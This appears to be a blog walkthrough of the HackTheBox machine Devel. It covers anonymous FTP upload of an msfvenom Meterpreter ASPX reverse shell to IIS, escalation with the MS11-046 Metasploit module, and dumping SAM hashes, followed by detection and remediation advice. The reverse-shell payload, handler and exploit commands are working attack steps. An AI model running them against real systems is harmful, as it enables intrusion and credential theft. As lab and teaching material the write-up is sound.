Skip to content
Back to all posts

HTB: Devel

· 16 min easy Windows Devel

Anonymous FTP write access to an IIS web root creates a trivial foothold. The real lesson is in the privilege escalation: unpatched Windows 7 with no service packs is a kernel exploit playground.

Overview

Devel is a retired Easy-rated Windows machine on HackTheBox. It runs Windows 7 Enterprise (Build 7600, RTM) with two services exposed: FTP on port 21 and IIS 7.5 on port 80. The FTP server permits anonymous login with write access, and its document root is the IIS web root (C:\inetpub\wwwroot). This overlap creates a write-to-execute primitive: upload an ASPX webshell via FTP, request it via HTTP, and IIS executes it.

The initial foothold lands as IIS APPPOOL\Web, a low-privilege virtual account with a restricted token. IIS 7.5’s application pool isolation is working as designed. The escalation to NT AUTHORITY\SYSTEM exploits CVE-2011-1249 (MS11-046), a stack buffer overflow in the Ancillary Function Driver (afd.sys). The host has zero hotfixes installed, making every local privilege escalation CVE from Windows 7 RTM onward a viable candidate.

This box is a case study in misconfiguration stacking: no single flaw is exotic, but their combination creates a direct path from anonymous access to full system compromise.

Reconnaissance

nmap -sC -sV -oA scans/devel 10.129.8.111
PortServiceProduct / VersionNotes
21FTPMicrosoft ftpdAnonymous login permitted
80HTTPMicrosoft IIS httpd 7.5Default IIS landing page

Two ports. The attack surface is minimal, which paradoxically makes enumeration faster: fewer rabbit holes to chase.

IIS 7.5 ships with Windows 7 and Windows Server 2008 R2. The FTP service is Microsoft’s built-in FTP server, tightly integrated with IIS. When Microsoft FTP and IIS are co-located, they often share the same physical directory. That integration is the first indicator of the shared-root misconfiguration.

FTP enumeration

ftp 10.129.8.111
# Connected to 10.129.8.111.
# 220 Microsoft FTP Service
# Name: anonymous
# 331 Anonymous access allowed, send identity (e-mail name) as password.
# Password: [blank]
# 230 User logged in.
ftp> dir
# 03-17-17  08:46AM <DIR>          aspnet_client
# 03-17-17  05:37AM              689 iisstart.htm
# 03-17-17  05:37AM            184946 welcome.png

iisstart.htm and welcome.png are the default IIS 7.5 welcome page assets. The aspnet_client directory is created by the .NET framework installer. These three artefacts confirm the FTP root is the IIS web root (C:\inetpub\wwwroot).

Testing write access:

ftp> put test.txt
# 226 Transfer complete.

Verifying via HTTP:

curl http://10.129.8.111/test.txt
# test content appears

Write access confirmed. Anything uploaded via FTP is immediately served by IIS.

Attack Surface Analysis

The attack path is clear, but I want to understand the full picture before committing:

VectorFeasibilityImpactNotes
FTP anonymous write + IIS ASPXHighCode executionConfirmed: write access + web root overlap
IIS 7.5 known CVEsLowVariesFew unauthenticated RCEs for IIS 7.5
FTP service exploitsLowVariesMicrosoft ftpd has limited CVE history

The FTP-to-webshell path is the obvious choice. IIS 7.5 executes .aspx files natively through the ASP.NET ISAPI handler, so there is no need to find an upload bypass or hope for a misconfigured handler. ASPX execution is the default behaviour for any IIS installation with .NET registered.

Vulnerability Analysis

Misconfiguration decomposition

This is not a CVE in the traditional sense. It is a compound misconfiguration. Decomposing it into individual failures clarifies why each matters and what controls would break the chain.

Failure 1: Anonymous FTP with write access. FTP anonymous access is a legitimate feature for public file distribution. Write access for anonymous users is almost never intentional in production. Microsoft’s own IIS hardening guide explicitly recommends disabling anonymous write. The FTP authorisation rules should grant read-only access to the anonymous identity.

Failure 2: Shared document root. The FTP virtual directory points to C:\inetpub\wwwroot, the same directory IIS serves. This creates the write-to-execute primitive: any file written via FTP becomes executable content via HTTP. These should be separate directories with distinct ACLs. Even if FTP write access is required for some operational reason, writing to a non-web directory would break the chain.

Failure 3: No upload filtering. No file extension restrictions exist on FTP uploads. A properly configured FTP server would reject .aspx, .asp, .php, .exe, and other executable extensions even if write access were enabled. IIS also supports request filtering rules that can deny execution of files outside an approved list.

Each misconfiguration alone is insufficient for compromise. Together, they form a kill chain:

Anonymous FTP login -> Write .aspx to wwwroot -> HTTP request triggers execution

This is why security assessments must evaluate configuration combinations, not individual settings.

Exploitation

Generating the payload

I use msfvenom to create a staged Meterpreter payload in ASPX format. Staged payloads are smaller (important for restrictive upload environments) and allow Metasploit to handle post-exploitation framework delivery over the established connection:

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=tun0 LPORT=4444 \
  -f aspx -o shell.aspx

Why ASPX over classic ASP? IIS 7.5 ships with .NET framework support enabled by default. The aspnet_isapi.dll handler is registered for .aspx extensions out of the box. Classic ASP (.asp) requires the “ASP” role service to be explicitly installed, which may or may not be present. ASPX is the safer bet for reliable execution.

Upload and trigger

# Upload via FTP
ftp 10.129.8.111
ftp> binary
ftp> put shell.aspx
# 226 Transfer complete.

The binary command switches the transfer mode from ASCII to binary. This matters: ASCII mode performs line-ending translation (LF to CRLF on Windows), which would corrupt the embedded shellcode bytes in the ASPX payload.

# Start handler
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/meterpreter/reverse_tcp; \
  set LHOST tun0; set LPORT 4444; run"
# Trigger execution
curl http://10.129.8.111/shell.aspx
[*] Meterpreter session 1 opened (10.10.14.x:4444 -> 10.129.8.111:xxxxx)

Initial access context

meterpreter> getuid
# Server username: IIS APPPOOL\Web

meterpreter> sysinfo
# Computer    : DEVEL
# OS          : Windows 7 Enterprise (6.1 Build 7600).
# Architecture: x86
# Meterpreter : x86/windows

Two critical observations:

  1. IIS APPPOOL\Web is a virtual account created by IIS application pool identity isolation (introduced in IIS 7.5). It has no administrative access, limited filesystem permissions, and a restricted token. The worker process (w3wp.exe) runs under this identity by default. This isolation is the primary defence boundary between a webshell and the underlying system.

  2. Windows 7 Build 7600 is the RTM (Release to Manufacturing) build from October 2009. No service packs, no cumulative updates, no hotfixes. The kernel exploit surface is enormous: every local privilege escalation CVE disclosed between 2009 and the present is a candidate.

Privilege Escalation

Enumeration

Before reaching for kernel exploits, I check for simpler escalation paths. Token impersonation attacks (JuicyPotato, PrintSpoofer, RoguePotato) require SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege with the ability to create COM objects. Checking the current token:

meterpreter> getprivs
# SeAssignPrimaryTokenPrivilege
# SeChangeNotifyPrivilege
# SeIncreaseWorkingSetPrivilege

SeAssignPrimaryTokenPrivilege is present but SeImpersonatePrivilege is absent. JuicyPotato and its variants require SeImpersonatePrivilege specifically; they use CreateProcessWithTokenW or ImpersonateNamedPipeClient, both of which check for that privilege. SeAssignPrimaryTokenPrivilege allows CreateProcessAsUserW but requires a primary token handle, which these tools do not provide. The potato family is off the table.

systeminfo
# OS Name:    Microsoft Windows 7 Enterprise
# OS Version: 6.1.7600 N/A Build 7600
# Hotfix(s):  N/A

Zero hotfixes installed. This host has never been patched.

Selecting the exploit

I use local_exploit_suggester to survey the kernel exploit surface:

meterpreter> run post/multi/recon/local_exploit_suggester

Multiple candidates appear. I select MS11-046 (exploit/windows/local/ms11_046_afd_callbackoverflow) for several reasons: it has a high reliability rating in Metasploit, it targets a driver present on all Windows installations, and it does not require specific service configurations or race conditions.

AttributeValue
CVECVE-2011-1249
CVSS v27.2 (High): AV:L/AC:L/Au:N/C:C/I:C/A:C
CWECWE-120 (Buffer Copy without Checking Size of Input)
Root causeStack buffer overflow in afd.sys (Ancillary Function Driver)
AffectedWindows XP SP3, Vista SP1/SP2, 7 RTM/SP1, Server 2003/2008
Fixed inMS11-046 (KB2503665)
MITRE ATT&CKT1068 (Exploitation for Privilege Escalation)

How MS11-046 works

The Ancillary Function Driver (afd.sys) handles Winsock operations in kernel mode. It is the kernel-side component of the Windows Sockets API; every application that opens a TCP or UDP socket interacts with afd.sys through IOCTLs. The vulnerability sits in the AfdPoll routine, which processes IOCTL_AFD_POLL requests from user mode.

A specially crafted poll request with an oversized NumberOfHandles field triggers a stack buffer overflow in the kernel’s pool memory. The exploit sequence: allocate a controlled buffer in user space, send the malformed IOCTL to trigger the overflow, overwrite the return address on the kernel stack, and redirect execution to shellcode that copies the SYSTEM process token (PsReferencePrimaryToken on PID 4) into the current process’s token field. When the IOCTL returns to user mode, the calling process is running as NT AUTHORITY\SYSTEM.

This is a local exploit: it requires existing code execution on the target, which the Meterpreter session provides.

Execution

use exploit/windows/local/ms11_046_afd_callbackoverflow
set SESSION 1
set LHOST tun0
set LPORT 5555
run
[*] Meterpreter session 2 opened (10.10.14.x:5555 -> 10.129.8.111:xxxxx)

meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

Full system compromise.

Post-Exploitation

type C:\Users\babis\Desktop\user.txt
# [redacted]

type C:\Users\Administrator\Desktop\root.txt
# [redacted]

Credential harvesting

With SYSTEM access, the SAM database is readable:

meterpreter> hashdump
# Administrator:500:[LM hash]:[NTLM hash]:::
# babis:1000:[LM hash]:[NTLM hash]:::
# Guest:501:[LM hash]:[NTLM hash]:::

In a real engagement, these NTLM hashes would be tested for credential reuse across the network via pass-the-hash and cracked offline for plaintext passwords that might unlock other systems, VPNs, or cloud accounts. The presence of LM hashes (Windows 7 RTM stores them by default unless NoLMHash is set via Group Policy) makes cracking substantially faster: LM hashes split the password into two 7-character halves and use DES, reducing the effective keyspace dramatically.

Persistence considerations

A real attacker establishing persistence on this host would likely create a local administrator account, install a service-level backdoor (surviving reboots), add a scheduled task running as SYSTEM, or modify the IIS configuration to place a persistent webshell in a less obvious location than wwwroot (e.g., nested within aspnet_client where it blends with legitimate .NET framework files).

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial accessT1078.001FTP logs showing anonymous write of .aspx files
ExecutionT1505.003IIS W3SVC logs: GET/POST to newly created .aspx file
Privilege escalationT1068Sysmon Event ID 10: w3wp.exe spawning process with SYSTEM token
Credential accessT1003.002SAM registry hive access from non-LSASS process

FTP monitoring. Any write operation via anonymous FTP should generate an alert. Writing executable file extensions (.aspx, .asp, .php, .jsp) should be a critical-severity event. Microsoft’s FTP service logs to %SystemDrive%\inetpub\logs\LogFiles\FTPSVC* by default; parsing these for STOR commands from the anonymous user is trivial.

IIS request anomalies. The web server logs show a request to /shell.aspx, a file that did not exist minutes ago and was never part of a deployment. File integrity monitoring (FIM) on the web root directory would catch this immediately. Windows has built-in auditing for file creation events (Security Event 4663 with object access auditing enabled), though a dedicated FIM agent provides better alerting.

Process genealogy. The privilege escalation creates a distinctive process tree: w3wp.exe (IIS worker) spawning a child process that then acquires a SYSTEM token. EDR tools flag this pattern reliably because it is a well-known indicator of web server compromise. Even without EDR, Sysmon Event ID 1 (process creation) with parent process tracking would surface this.

Kernel exploit artefacts. afd.sys exploitation typically generates a kernel crash dump if the exploit fails, and leaves pool allocation artefacts that forensic analysis can identify. Windows Event Log entries for unexpected afd.sys behaviour (Event ID 7034 for service crash, 7045 for new service installation) may also appear. On a system with Driver Verifier enabled, the pool corruption would trigger an immediate bugcheck.

Remediation

PriorityActionEffortImpact
P0Disable anonymous FTP write accessLowCritical
P0Separate FTP and IIS document rootsLowCritical
P0Apply all Windows updates (SP1 + cumulative patches)MediumCritical
P1Restrict FTP upload file extensionsLowHigh
P1Deploy FIM on C:\inetpub\wwwrootLowHigh
P2Run IIS application pool as a custom least-privilege accountMediumMedium
P2Enable IIS request filtering to block unknown file typesLowMedium
P3Deploy EDR with process genealogy monitoringMediumMedium

The architectural fix is straightforward: never allow an unauthenticated write path to a directory that serves executable content. This principle applies beyond FTP and IIS. It is the same flaw pattern behind unrestricted file upload vulnerabilities in web applications (CWE-434). The defence is separation of concerns: upload directories should be outside the web root, or the web server should be configured to serve uploads as static content only (no script execution). IIS achieves this via request filtering rules or by removing the ASP.NET handler mapping from the upload directory.

For the privilege escalation, the fix is patching. Windows 7 Build 7600 with zero hotfixes is not a realistic production scenario, but unpatched systems exist in OT environments, isolated lab networks, and organisations with broken patch management pipelines. The compensating control is application whitelisting (AppLocker or WDAC) that prevents unauthorised executables from running, even if an attacker achieves code execution through a webshell. AppLocker’s default rules block execution from user-writable directories, which would stop the Meterpreter payload from running even after successful upload.

Key Takeaways

  1. Misconfiguration stacking is the real threat model. No single setting on this box is unusual in isolation: FTP with anonymous access, IIS serving its default directory, a Windows install without patches. The compound effect is total compromise in two steps. Security assessments must evaluate configuration combinations, not individual settings. Automated scanners that check each setting independently would miss this chain entirely.

  2. IIS application pool isolation works, until it does not. The initial foothold was correctly sandboxed as IIS APPPOOL\Web with a restricted token. But isolation is a speed bump, not a wall. On an unpatched kernel, the escalation from low-privilege to SYSTEM is a matter of selecting the right exploit module. Defence in depth means patching and isolating and monitoring, because any single layer can fail.

  3. Web shells are the most common persistence mechanism in real breaches. The Verizon DBIR consistently ranks web shell installation as a top post-compromise action. File integrity monitoring on web-accessible directories is one of the highest-value, lowest-effort controls an organisation can deploy. On IIS specifically, auditing the wwwroot directory for new .aspx, .ashx, and .asmx files catches the vast majority of .NET-based web shells.